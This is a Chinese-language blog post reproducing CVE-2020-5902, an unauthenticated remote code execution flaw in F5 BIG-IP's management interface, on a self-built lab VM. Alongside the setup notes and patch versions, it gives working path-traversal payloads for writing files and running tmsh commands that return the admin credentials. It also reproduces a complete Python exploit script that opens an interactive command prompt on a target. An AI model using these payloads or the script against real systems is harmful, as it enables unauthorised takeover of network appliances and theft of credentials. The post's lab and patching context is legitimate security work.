F5 BIG-IP远程代码执行CVE-2020-5902漏洞复现

发布时间 2023-06-15 11:17:03作者: 不聪明的小子

简述
F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。
2020年7月1日,F5官方公布流量管理用户界面(TMUI)存在 前台远程执行代码(RCE)漏洞(CVE-2020-5902)。攻击者利用该漏洞,构造恶意请求,在未授权的情况下获得目标服务器的权限,实现远程代码执行。

漏洞原理
未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。
影响版本
• BIG-IP 15.x: 15.1.0/15.0.0
• BIG-IP 14.x: 14.1.0 ~ 14.1.2
• BIG-IP 13.x: 13.1.0 ~ 13.1.3
• BIG-IP 12.x: 12.1.0 ~ 12.1.5
• BIG-IP 11.x: 11.6.1 ~ 11.6.5
环境踩坑
复现环境搭建:

  1. https://www.f5.com.cn/trials/big-ip-virtual-edition 到官网注册申请账号,然后下载30天的虚拟试用版本。
  2. https://downloads.f5.com/esd/ecc.sv?sw=BIG-IP&pro=big-ip_v15.x&ver=15.1.0&container=Virtual-Edition 下载界面的MyF5download 进行版本选择,一定要选择对口的版本,因为后面还有更细的版本选择,一定要认准这个单词(Virtual-Edition),虚拟版是可以使用vmware快速搭建环境的。

别着急还有文件类型选择,选后缀ova的,然后就是文件大小最大的。

然后最下面就可以看到你选择的版本信息,可以让你再核对一次。核对没问题之后就可以选择本地下载方式了,这里没有CHINA选项,类似运营商选择,只能选日本了,选择完成就可以下载了。

我下了好几个版本不用在意截图的下载版本不一样哈

这是下载完成的样子。
右键打开方式,选择VMware打开即可,中间会让你设置一个虚拟机导出文件的文件路径我直接设置的数字3,其余选默认即可,然后点击导入等几秒钟就好啦。

看 这就是导入虚拟机的配置信息。
我们开启虚拟机:
开机----

首次登录需要更改密码,默认账号密码是root/default,实验里我修改密码为bigippassword

注意这里需要重新验证一遍你的root密码,所以默认密码要输入两遍才会让你输入新密码。新密码也是输入两遍就可以设置成功啦。看

接下来就要配置IP、掩码、路由什么的了,也是一路默认即可。

开始配置IP吧:输入命令config 会出现一个蓝色的框框提示你配置IP信息。

反正就是一路回车就行啦。它会自动分配一个IP、掩码、路由的。
然后别忘了互相ping一下自己的物理机。确认网络连通。

然后就是物理机访问BIGIP的web界面了,复制自己的IP信息,在物理机上输入https://IP 看一下是不是能够访问登录界面了。

能访问到这个界面就代表环境已经搭建好了。
一定要注意是https:// 在这里踩了好多坑啊,我当时是直接访问的IP:443
然后提示Bad Request ,然后查了一下服务器(也就是BIGIP的虚拟机),发现没啥问题啊,443是监听着的,但是80端口仅允许本地访问也就是127.0.0.1:80,当时还改了httpd的配置文件,把所有监听都变成0.0.0.0:80了,但是还是报错。就很神奇。后来我无意识的把前面的http改成https然后就成功了,555555真蠢啊,改端口不改协议。还好结果是好的,坑了我大半天时间。
不说了开始复现。

漏洞复现

  1. 访问BIG-IP 的web界面:https://IP ,这里不需要登录,想登录看看的默认的账号是admin,密码是和虚拟机设置的密码一样。

虚拟机操作不方便的可以打开ssh 用xshell连接。

登录以后就是这个样子,不过这个漏洞都是未授权就可以执行的,所以登录的意义不大。
如果真的想试用的,需要一个激活码,在你下载的网页过程中会有一个界面提供了激活码。

好了废话说了不少了开始正题:
复现方式一:nmap脚本poc
试用nmap脚本:https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve2020-5902.nse 把下载好的文件存放在nmap/scripts/ 下面
然后使用命令:nmap --script http-vuln-cve2020-5902 -p443 yourIP
我的IP是192.168.22.169,返回信息中可以看到漏洞信息BIG-IP TMUI RCE漏洞,并且给出了payload,可以直接访问。版本中漏洞太多都是未授权的。后面有RCE。


直接访问可以读取到敏感信息。
(后面的我偷个懒就用现成的截图了。)
文件上传:
Payload:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp POST: fileName=/tmp/1.txt&content=CVE-2020-5902
使用burpsuit抓包登录窗口,修改请求方式,将payload以post方式提交。提交后查看服务器是否上传成功

查看服务器文件,显示上传成功

php文件的也是没问题的

命令执行(RCE)
Payload:
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
list auth user 查看所有用户
list auth user admin 查看管理员账户
命令执行成功,返回用户账号密码

POC测试
Github下载poc:https://github.com/jas502n/CVE-2020-5902
注意:脚本运行的python环境是python2版本的,3.x版本运行会出错,代码里面url是固定写法需要人工修改一下,只需要将url后面一行的注释取消掉即可。
修改后用法:Python CVE-2017-7529_PoC.py https://IP

使用后会提示输入命令,有时候会偶尔失灵,多执行几次就好了。

程序运行时会提示输入命令。源脚本代码中为循环写入,修改变为单一写入一次命令执行一次了。后续需要可以自行取消注释,修改缩进。

命令执行时会将输入的命令写入到用户的/tmp/目录下,并且返回文件存储路径、文件新名称以及命令执行结果显示在命令行界面。
修复建议
通用修补建议,升级到以下版本
• BIG-IP 15.x: 15.1.0.4
• BIG-IP 14.x: 14.1.2.6
• BIG-IP 13.x: 13.1.3.4
• BIG-IP 12.x: 12.1.5.2
• BIG-IP 11.x: 11.6.5.2
参考链接:https://www.cnblogs.com/liliyuanshangcao/p/13285121.html
`

#coding:utf-8
import argparse
import os

import requests
import json
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import uuid
import sys

# tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
# fileSave.jsp?fileName=/tmp/cmd&content=id
# tmshCmd.jsp?command=list+/tmp/cmd
# tmshCmd.jsp?command=delete+cli+alias+private+list

banner = r'''
 _______  _______    ______  _________ _______   _________ _______    _______  _______  _______ 
(  ____ \(  ____ \  (  ___ \ \__   __/(  ____ \  \__   __/(  ____ )  (  ____ )(  ____ \(  ____ \
| (    \/| (    \/  | (   ) )   ) (   | (    \/     ) (   | (    )|  | (    )|| (    \/| (    \/
| (__    | (____    | (__/ /    | |   | |           | |   | (____)|  | (____)|| |      | (__    
|  __)   (_____ \   |  __ (     | |   | | ____      | |   |  _____)  |     __)| |      |  __)   
| (            ) )  | (  \ \    | |   | | \_  )     | |   | (        | (\ (   | |      | (      
| )      /\____) )  | )___) )___) (___| (___) |  ___) (___| )        | ) \ \__| (____/\| (____/\
|/       \______/   |/ \___/ \_______/(_______)  \_______/|/         |/   \__/(_______/(_______/
                                                                                                
                        CVE-2020-5902 UnAuth RCE Vuln
                            Python By Jas502n

From: https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb
____________________________________________________________________________________________________________________________________________________
'''

def tmshCmd_exit(url,file,cmd):
    tmshCmd_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash"
    proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
    r = requests.get(tmshCmd_url,verify=False,allow_redirects=False)
    # r = requests.get(tmshCmd_url,verify=False,allow_redirects=False,proxies=proxies)

    response_str = json.dumps(r.headers.__dict__['_store'])
    # print type(response_str)
    # print response_str
    if r.status_code == 200 and 'tmui' in response_str:
        # print tmshCmd_url
        print("[+] tmshCmd.jsp Exit!")
        print("[+] create cli alias private list command bash \n")
        # cmd = 'whoami'
        upload_exit(url,file,cmd)


    else:
        print("[+] tmshCmd.jsp No Exit!\n")

def upload_exit(url,file,cmd):
    fileSave_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/%s&content="%file + cmd
    proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
    r = requests.get(fileSave_url,verify=False,allow_redirects=False)
    # r = requests.get(fileSave_url,verify=False,allow_redirects=False,proxies=proxies)
    response_str = json.dumps(r.headers.__dict__['_store'])
    if r.status_code == 200 and 'tmui' in response_str:
        # print fileSave_url
        print("[+] fileSave.jsp Exit!\n")
        list_command(url,file)
    else:
        print("[+] fileSave.jsp No Exit!\n")

def list_command(url,file):
    rce_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/%s" % file
    proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
    r = requests.get(rce_url,verify=False,allow_redirects=False)
    # r = requests.get(rce_url,verify=False,allow_redirects=False,proxies=proxies)
    response_str = json.dumps(r.headers.__dict__['_store'])
    # print len(r.content)
    if r.status_code == 200 and 'tmui' in response_str:
        if len(r.content) > 33:
            # print rce_url
            print("[+] Command Successfull !\n")
            command_result = json.loads(r.content)
            print("_"*90)
            print(command_result['output'])
            print("_" * 90)
            delete_list(url)
    else:
        print("[+] Command Failed !\n")


def delete_list(url):
    delete_url = url + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list'
    proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
    r = requests.get(delete_url,verify=False,allow_redirects=False)
    # r = requests.get(delete_url,verify=False,allow_redirects=False,proxies=proxies)
    response_str = json.dumps(r.headers.__dict__['_store'])
    if r.status_code == 200 and 'tmui' in response_str:
        # print delete_url
        print("[+] delete cli alias private list Successfull! \n")
    else:
        print("[+] delete cli alias private list Failed! \n")




if __name__ == '__main__':
    # 用下面这段需要使用参数-u,看自己喜好哈
    # parser = argparse.ArgumentParser()
    # parser.add_argument('-u', action="store", dest="domain",default=None, help="Target IP:PORT or hostname to exploit")
    # if parser.parse_args().domain == None:
    #     print("Error: You must specify the target host with the '-t' flag")
    #     os._exit(1)
    # url=parser.parse_args().domain
    print(banner)
    #循环执行命令,如果要使用,注意将循环后面的命令前面添加缩进。
    # while 1:
    url = sys.argv[1]
    file = str(uuid.uuid1())
    print("/tmp/" + file, "\n")
    cmd = raw_input("[+]Set Cmd= ")
    # cmd = input("[+]Set Cmd= ")
    print("")
    tmshCmd_exit(url,file,cmd)

`